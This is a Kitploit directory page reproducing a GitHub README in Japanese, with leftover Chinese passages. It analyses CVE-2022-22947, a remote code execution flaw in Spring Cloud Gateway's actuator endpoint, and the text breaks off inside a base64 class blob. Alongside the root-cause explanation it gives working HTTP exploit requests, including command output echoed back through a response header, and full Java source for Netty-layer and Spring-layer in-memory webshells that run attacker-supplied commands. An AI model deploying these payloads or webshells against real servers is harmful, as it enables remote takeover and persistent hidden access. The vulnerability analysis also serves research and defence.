Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2022-22947-spring-cloud-gateway | Kitploit
ツール/GitHubGitHub/enokiy/cve-2022-22947-spring-cloud-gateway
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubenokiy/cve-2022-22947-spring-cloud-gateway

cve-2022-22947-spring-cloud-gateway

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
1814年前未レビュー

脆弱性の概要

Spring Cloud Gateway は、Spring Cloud の新しいプロジェクトであり、Spring 5.0、Spring Boot 2.0、Project Reactor などの技術に基づいて開発されたゲートウェイです。マイクロサービスアーキテクチャに、シンプルで効果的な統一APIルーティング管理方法を提供することを目的としています。 先日、Spring Cloud Gateway に致命的な RCE が発見されました。CVE CVE 情報によると、アプリケーションが Spring Cloud Gateway の Gateway Actuator endpoint を有効にして公開している場合、リモートコードインジェクション攻撃を受け、攻撃者が悪意のあるリクエストを送信することで任意のコードをリモートで実行できる可能性があります。現在影響を受けるバージョンは次のとおりです。

  • 3.1.0
  • 3.0.0 から 3.0.6
  • 古いサポート対象外のバージョンも影響を受けます。

今回の分析では、この CVE を再現することで、脆弱性の原理とさらなる悪用方法を学びます。

環境構築

以下の依存関係を使用して Maven プロジェクトを作成します。```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9

root@kitploit:~
Spring Bootのデフォルト設定では、webに公開されているエンドポイントはhealthのみです。gatewayを公開する必要がある場合は、手動で設定する必要があります。[公式ドキュメント](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) :```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health

以下のPOCを送信します:```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json

{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]

root@kitploit:~
![](https://assets.kitploit.com/production/public/readmes/35878/39233225aa6d08c3ff4f14f3071172786b11345cedade53e5737bd2327a1d4ae.png)

その後、```POST /actuator/gateway/refresh``` を送信してルートキャッシュの情報をリフレッシュすると、POCがトリガーされます:

![](https://assets.kitploit.com/production/public/readmes/35878/e06c39a19eb0078362b53c7ca2f1b278dc403cc3054a0a23e3ff22c374871d31.png)

## 原理の分析

上記のPOCを見ると、まず```POST /actuator/gateway/routes/test2``` によってルートを動的に追加しています。ルート追加の過程で、入力パラメータを処理するフィルタがその値をSpEL式として解析できるため、ルートキャッシュをリフレッシュしたときにPOCが実行されます。
まず、Spring Cloud Gatewayの動的ルート設定のメカニズムを見てみましょう。
### 動的ルート設定
Spring Cloud Gatewayはコード/設定ファイルによるルート登録をサポートしており、公式サイトの[demo](https://spring.io/guides/gs/gateway/) を例にすると:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
    return builder.routes()
        .route(p -> p
            .path("/get")
            .filters(f -> f.addRequestHeader("Hello", "World"))
            .uri("http://httpbin.org:80"))
        .build();
}

設定ファイルの方法はコードと同様です:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1

root@kitploit:~
这两种方式所添加的路由都是固定的,如果需要添加、修改、或者删除路由配置和规则,就必须重启应用才能生效。但是现实情况下,spring cloud gateway作为所有流量的入口,需要保证系统的高可用,因此spring cloud gateway暴露/gateway 这个endpoint之后就可以通过/gateway/routes来增删改动态路由信息,但是这种方式的路由信息只存在与内存中,一旦服务重启,新增的路由配置信息就丢失了。

これらの2つの方法で追加されたルートは固定されており、ルート設定やルールを追加・変更・削除するには、アプリケーションを再起動して初めて有効になります。しかし、実際には、spring cloud gatewayはすべてのトラフィックの入り口であるため、システムの高可用性を保証する必要があります。そのため、spring cloud gatewayが/gateway エンドポイントを公開すると、/gateway/routesを介して動的ルート情報を追加・削除・変更できます。ただし、この方法のルート情報はメモリ内にのみ存在し、サービスが再起動すると、追加されたルート設定情報は失われます。

从以上路由注册的格式可以发现,一个路由信息包括目标uri、filter集合以及predicates集合,其中predicates可以以来自http请求的任意内容(请求头、参数)进行请求匹配,spring cloud gateway内置的route predicate 工厂类有很多,如Before、After、Between、Cookie、Header、Host、[Path等](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories) 。

上記のルート登録の形式からわかるように、1つのルート情報には、ターゲットURI、フィルターセット、述語(predicates)セットが含まれます。predicatesは、HTTPリクエストからの任意の内容(リクエストヘッダー、パラメータ)を使用してリクエストをマッチングできます。spring cloud gatewayには、Before、After、Between、Cookie、Header、Host、[Pathなど](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories) のような組み込みのroute predicateファクトリクラスが多数あります。

![](https://assets.kitploit.com/production/public/readmes/35878/3cc2f4a5937db984a675ba2f6ff5845b19d6a36166709de5bfb694f1fa017101.png)

filter用于请求发送之前或者之后修改请求或响应,同样包含很多内置filter集合,上面的触发RCE的payload中我们使用的filter是AddResponseHeader,其他filter有RewritePath、SetPath等,filter有两种,一种是对所有路由都有效的GlobalFilter,另一种是仅对单个路由有效的GatewayFilter,详情可以参考https://www.cnblogs.com/duanxz/p/14780675.html。    

filterは、リクエスト送信前または送信後にリクエストやレスポンスを変更するために使用され、同様に多くの組み込みフィルターセットが含まれています。上記のRCEをトリガーするペイロードでは、AddResponseHeaderフィルターを使用しました。他のフィルターにはRewritePath、SetPathなどがあります。フィルターには2種類あり、1つはすべてのルートに有効なGlobalFilter、もう1つは単一のルートにのみ有効なGatewayFilterです。詳細は https://www.cnblogs.com/duanxz/p/14780675.html を参照してください。

![](https://assets.kitploit.com/production/public/readmes/35878/fbabe62f51e3431325c9ee186366f9b7dbbcb0986ed62b77a027579107cdc84b.png),![](https://assets.kitploit.com/production/public/readmes/35878/4a0b7e2b6cfaa4cbbbbcb1887de3b805429feea3b36dd8ac34a1147fece7359b.png)

## 请求流程

## リクエストフロー

那么,一个请求过来之后经过gateway到后端的proxied service的具体流程是什么样的呢? 官方文档中的流程如下:

では、リクエストが来てからgatewayを経由してバックエンドのproxied serviceに到達するまでの具体的なフローはどのようなものでしょうか? 公式ドキュメントのフローは次のとおりです。

![](https://assets.kitploit.com/production/public/readmes/35878/687f60eb0e38895b1e44cd733860ac935e67c50925b9b935fe7e6a234a1e3756.png)

客户端向Spring Cloud GateWay发出请求,然后在GateWay Handler Mapping中找到与请求相匹配的路由,将其发送到GateWay Web Handler;Handler再通过指定的过滤器链来将请求发送到我们实际的服务执行业务逻辑,然后返回。过滤器之间用虚线分开是因为过滤器可能会在发送代理请求之前(pre)或者之后(post)执行业务逻辑。

クライアントはSpring Cloud GateWayにリクエストを送信し、GateWay Handler Mappingでリクエストに一致するルートを見つけ、それをGateWay Web Handlerに送信します。Handlerは指定されたフィルターチェーンを通じてリクエストを実際のサービスに送信してビジネスロジックを実行し、結果を返します。フィルター間が点線で区切られているのは、フィルターがプロキシリクエストの送信前(pre)または送信後(post)にビジネスロジックを実行する可能性があるためです。

RoutePredicateHandlerMapping 查找路由然后由webHandler进行处理:

RoutePredicateHandlerMapping がルートを検索し、その後 webHandler が処理します:

![img.png](https://assets.kitploit.com/production/public/readmes/35878/d3c9c2d41e77a0f167c8d313fea969ad05ca5682517f361a07bb86781cb5e1d8.png)

在webHandler中找出gatewayFilters以及globalFilters后按照filter中定义的Order值进行排序后形成filterchain,并执行所有的filter。

webHandler内でgatewayFiltersとglobalFiltersを特定した後、filterで定義されたOrder値に従ってソートしてfilterchainを形成し、すべてのfilterを実行します。

![img.png](https://assets.kitploit.com/production/public/readmes/35878/847e849b9f69c76a23a876c035d2bfe904e2279913f17281c588cf4de2e59e0b.png)

### 动态路由注册

### 動的ルート登録

接下来具体的看一下通过gateway endpoint方式添加路由的时候为什么会触发了spel执行。

次に、gateway endpoint方式でルートを追加する際に、なぜspel実行がトリガーされるのかを具体的に見てみましょう。```POST /actuator/gateway/routes/{id}```添加路由时首先校验route定义中的filter和predicates,校验方式是检查filterName和predicatesName是否在已定义的filter集合和predicates集合内,校验通过之后将该路由信息保存到内存路由信息map中:

![](https://assets.kitploit.com/production/public/readmes/35878/c7e83d849825741efdd564d36c0bc876673d1fde611b8174116cb68fd9492f88.png)

![](https://assets.kitploit.com/production/public/readmes/35878/c40f80a0a1694413b800ccb1fc4d1a75df085ed76e105967e3eef271eb9deaa3.png)

![](https://assets.kitploit.com/production/public/readmes/35878/85223e97fc44260a9e73c6a29978750d89564bebf334de13e0e8e2f3f24b4adf.png)

然后刷新路由缓存时,经过如下的调用栈后在RouteDefinitionRouteLocator.convertToRoute()方法中分别解析route定义中的predicates和filter:
```text
at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator.convertToRoute(RouteDefinitionRouteLocator.java:116)
	  at org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$883.729787591.apply(Unknown Source:-1)
	  ... // Spring WebFluxのpublisherとsubscriberの仕組み
	  at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:81)
	  at org.springframework.cloud.gateway.route.CachingRouteLocator.onApplicationEvent(CachingRouteLocator.java:40)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.doInvokeListener(SimpleApplicationEventMulticaster.java:176)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.invokeListener(SimpleApplicationEventMulticaster.java:169)
	  at org.springframework.context.event.SimpleApplicationEventMulticaster.multicastEvent(SimpleApplicationEventMulticaster.java:143)
	  at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:421)
	  at org.springframework.context.support.AbstractApplicationContext.publishEvent(AbstractApplicationContext.java:378)
	  at org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint.refresh(AbstractGatewayControllerEndpoint.java:96)```
![](https://assets.kitploit.com/production/public/readmes/35878/fa6e490bab006a647434c344f2342a526bae101655b69d733216c548539a40e2.png)


解析filter的过程中根据定义中的filterName获取到对应的GatewayFilterFactory,然后进入ConfigurationService将各属性键值绑定之前会先进行normalizedProperties处理,处理的过程中对value进行了spel解析后再进行绑定:

![](https://assets.kitploit.com/production/public/readmes/35878/1ea8c05303d36c7baca64972bf734a954ade62d0c0db72d1a78a2787a73bff1b.png)

![](https://assets.kitploit.com/production/public/readmes/35878/e4a4aa64c8379cf5ca8cb0cea1ec4fa4d61aa0e963fa7f5c378be6dcb49ed2cd.png)


在上面的整个过程中,保存路由信息的时候会校验route定义中的filter是否合法,合法才会把路由信息保存到内存map中,而且在刷新之后解析路由的时候也校验了是否能根据定义中的filterName获取到对应的GatewayFilterFactory,能获取到才进行属性键值绑定处理,所以漏洞触发可使用的filter就包括了已定义的所有合法filter:

![](https://assets.kitploit.com/production/public/readmes/35878/af1100875dc25fafcac80102f490acb7b94d2d3c249444721025132cdac6c745.png)

```text
0 = "SetPath"
1 = "RequestHeaderToRequestUri"
2 = "RequestHeaderSize"
3 = "RemoveRequestHeader"
4 = "RemoveRequestParameter"
5 = "ModifyRequestBody"
6 = "AddRequestParameter"
7 = "RewriteLocationResponseHeader"
8 = "MapRequestHeader"
9 = "DedupeResponseHeader"
10 = "PreserveHostHeader"
11 = "RewritePath"
12 = "SetStatus"
13 = "SetRequestHeader"
14 = "PrefixPath"
15 = "SetRequestHostHeader"
16 = "SaveSession"
17 = "StripPrefix"
18 = "ModifyResponseBody"
19 = "RequestSize"
20 = "RedirectTo"
21 = "SetResponseHeader"
22 = "SecureHeaders"
23 = "AddResponseHeader"
24 = "Retry"
25 = "AddRequestHeader"
26 = "RemoveResponseHeader"
27 = "RewriteResponseHeader"```

上面是利用filter触发漏洞的整体过程,我们看到路由定义中的predicates的处理过程跟filter是类似的,那么predicates是否也能触发漏洞呢?已定义的所有predicates集合是不是也都可以用呢?

把payload中的predicates换上payload试试:

![](https://assets.kitploit.com/production/public/readmes/35878/914e733f51484585973b42f88d2a119ffce41ed6a468ad7f4460217dd456b453.png)

也是能成功触发的,可以利用的predicates集合包括以下已定义的所有predicates:

![](https://assets.kitploit.com/production/public/readmes/35878/9ea4f6c3ac4380c1e09132a1346f4c48282db321620c134fcede884f34e0f220.png)

```text
0 = "After"
1 = "Before"
2 = "Between"
3 = "Cookie"
4 = "Header"
5 = "Host"
6 = "Method"
7 = "Path"
8 = "Query"
9 = "ReadBody"
10 = "RemoteAddr"
11 = "Weight"
12 = "CloudFoundryRouteService"```

综上,只要在添加路由的过程中使用的filters或者predicates的name值合法,当传入包含payload的spel表达式值时都可触发该漏洞。

## 漏洞利用

### 回显
上面的value经过spel解析之后的结果绑定到属性的value的时候,必须是String类型,上面提到的GatewayFilter中有一些是跟响应有关的如SetResponseHeader/AddResponseHeader等,所以可以利用这些响应相关的filter来完成利用后的回显:
```text
POST /actuator/gateway/routes/test4 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 422
Content-Type: application/json

{
  "id": "test3",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test4"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(java.util.Base64).getEncoder().encodeToString(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream().readAllBytes())}"
  }
}],
  "uri": "http://127.0.0.1:9999/test4",
"order": 0
}]```
![](https://assets.kitploit.com/production/public/readmes/35878/a54c441a7aa9112ce713354c3db41db85dc1e88db82d47f4368ac2dae6a5f570.png)

### 内存马
#### netty层内存马
以下内容参考了[这篇文章](https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/)
常规中间件的内存马的构造思路:首先分析涉及处理请求的对象,通过它的源码看看是否能获取请求内容以及能否控制响应内容。然后分析该对象是如何被注册到内存当中的,最后我们只要模拟下这个过程即可。

spring cloud gateway的web服务是netty+spring构建的,netty的web服务没有遵循servlet规范来设计。不像常规的中间件,filter/servlet/listener组件有一个统一的维护对象。netty每一个请求过来,都是动态构造pipeline,pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是ChannelPipelineConfigurer(下面简称为configurer),因此注入netty内存马的关键是分析configurer如何被netty管理和工作的。最终netty层的内存马如下:
```java
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemShell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
    private ConnectionObserver connectionObserver;
    private Channel channel;
    private SocketAddress socketAddress;

    public static String doInject(){
        String msg = "inject-start";
        try {
            Method getThreads = Thread.class.getDeclaredMethod("getThreads");
            getThreads.setAccessible(true);
            Object threads = getThreads.invoke(null);

            for (int i = 0; i < Array.getLength(threads); i++) {
                Object thread = Array.get(threads, i);
                if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
                    Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
                    _val$disposableServer.setAccessible(true);
                    Object val$disposableServer = _val$disposableServer.get(thread);
                    Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
                    _config.setAccessible(true);
                    Object config = _config.get(val$disposableServer);
                    Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
                    _doOnChannelInit.setAccessible(true);
                    _doOnChannelInit.set(config, new NettyMemShell());
                    msg = "inject-success";
                }
            }
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    @Override
    // Step1. ChannelPipelineConfigurer としてパイプラインに Handler を登録する
    public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
        this.connectionObserver = connectionObserver;
        this.channel = channel;
        this.socketAddress = socketAddress;
        ChannelPipeline pipeline = channel.pipeline();
        // メモリシェルのハンドラーを Spring 層のハンドラーの前に追加する
        pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemShell());
    }


    @Override
    // Step2. Handler としてリクエストを処理し、ここでメモリシェルの機能ロジックを実装する
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if(msg instanceof HttpRequest){
            HttpRequest httpRequest = (HttpRequest)msg;
            try {
                if(httpRequest.headers().contains("X-CMD")) {
                    String cmd = httpRequest.headers().get("X-CMD");
                    String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
                    // 実行結果を返す
                    send(ctx, execResult, HttpResponseStatus.OK);
                    return;
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }
        ctx.fireChannelRead(msg);
    }


    private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
        FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
        response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
        ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
    }
}```

POC如下:
```text
POST /actuator/gateway/routes/test5 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 8243
Content-Type: application/json

{
  "id": "test5",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test5"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcBFAoAQQB8CA...\"),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}"
  }
}],
  "uri": "http://127.0.0.1:9999/test5",
"order": 0
}]```
#### Spring层内存马

Spring cloud gateway主要的路由分发主要由org.springframework.web.reactive.DispatcherHandler类和它三个组件来完成
* org.springframework.web.reactive.HandlerMapping 路由匹配器
* org.springframework.web.reactive.HandlerAdapter handler适配器
* org.springframework.web.reactive.HandlerResultHandler 结果处理器

![](https://assets.kitploit.com/production/public/readmes/35878/f79dcc4fc63a60f8c62524ffb44a515c89eea263617f36f160957e6c0b953589.png)

基于这个流程,我们可以梳理出一个构造内存马的思路。让HandlerMapping注册一个映射关系,通过映射关系让特定的HandlerAdapter执行到我们的内存马流程,最后内存马返回一个HandlerResultHandler可以处理的结果类型即可。最终利用RequestMappingHandlerMapping类形成的内存马如下:
```java
public class SpringRequestMappingMemshell {
    public static String doInject(Object requestMappingHandlerMapping) {
        String msg = "inject-start";
        try {
            Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
            registerHandlerMethod.setAccessible(true);
            Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
            PathPattern pathPattern = new PathPatternParser().parse("/*");
            PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
            RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
            registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
            msg = "inject-success";
        }catch (Exception e){
            msg = "inject-error";
        }
        return msg;
    }

    public ResponseEntity executeCommand(String cmd) throws IOException {
        String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
        return new ResponseEntity(execResult, HttpStatus.OK);
    }
}```
POC:
```text
POST /actuator/gateway/routes/test6 HTTP/1.1
Host: 127.0.0.1:9000
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Length: 5148
Content-Type: application/json

{
  "id": "test6",
  "predicates": [{
    "name": "Path",
    "args": {"_genkey_0":"/test6"}
  }],
 "filters":[{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"NettyMemShell\",T(org.springframework.util.Base64Utils).decodeFromString(\"yv66vgAAADcAigoABgBHCABICgAGAEkIADAHAEoHAEsHAEwHAE0KAAUATgoABwBPBwBQCAAyBwBRBwBSCgAOAEcIAFMKAA4AVAcAVQcAVgoAEgBXCABYCgAIAFkKAAsARwoABwBaCABbBwBcCABdBwBeCgBfAGAKAF8AYQoAYgBjCgAcAGQIAGUKABwAZgoAHABnBwBoCQBpAGoKACQAawEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAGwBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAnACgBAAxpbmplY3Qtc3RhcnQMAG0AbgEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAEFvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwAbwBwDABxAHIBABxTcHJpbmdSZXF1ZXN0TWFwcGluZ01lbXNoZWxsAQAQamF2YS9sYW5nL1N0cmluZwEANm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVyblBhcnNlcgEAAi8qDABzAHQBAEpvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEAMG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3V0aWwvcGF0dGVybi9QYXRoUGF0dGVybgwAJwB1AQAADAAnAHYMAHcAeAEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEADGluamVjdC1lcnJvcgEAEWphdmEvdXRpbC9TY2FubmVyBwB5DAB6AHsMAHwAfQcAfgwAfwCADAAnAIEBAAJcQQwAggCDDACEAIUBACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAIYMAIcAiAwAJwCJAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAjb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXMBAAJPSwEAJUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czsBADooTGphdmEvbGFuZy9PYmplY3Q7TG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOylWACEACwAGAAAAAAADAAEAJwAoAAEAKQAAAC8AAQABAAAABSq3AAGxAAAAAgAqAAAABgABAAAADwArAAAADAABAAAABQAsAC0AAAAJAC4ALwABACkAAAFTAAoABwAAAJISAkwqtgADEgQGvQAFWQMSBlNZBBIHU1kFEghTtgAJTSwEtgAKEgsSDAS9AAVZAxINU7YACU67AA5ZtwAPEhC2ABE6BLsAElkEvQATWQMZBFO3ABQ6BbsACFkSFRkFAQEBAQEBtwAWOgYsKga9AAZZA7sAC1m3ABdTWQQtU1kFGQZTtgAYVxIZTKcAB00SG0wrsAABAAMAiQCMABoAAwAqAAAANgANAAAAEQADABMAIAAUACUAFQA2ABYARAAXAFYAGABpABkAhgAaAIkAHQCMABsAjQAcAJAAHgArAAAAUgAIACAAaQAwADEAAgA2AFMAMgAxAAMARABFADMANAAEAFYAMwA1ADYABQBpACAANwA4AAYAjQADADkAOgACAAAAkgA7ADwAAAADAI8APQA+AAEAPwAAABMAAv8AjAACBwAGBwANAAEHABoDAAEAM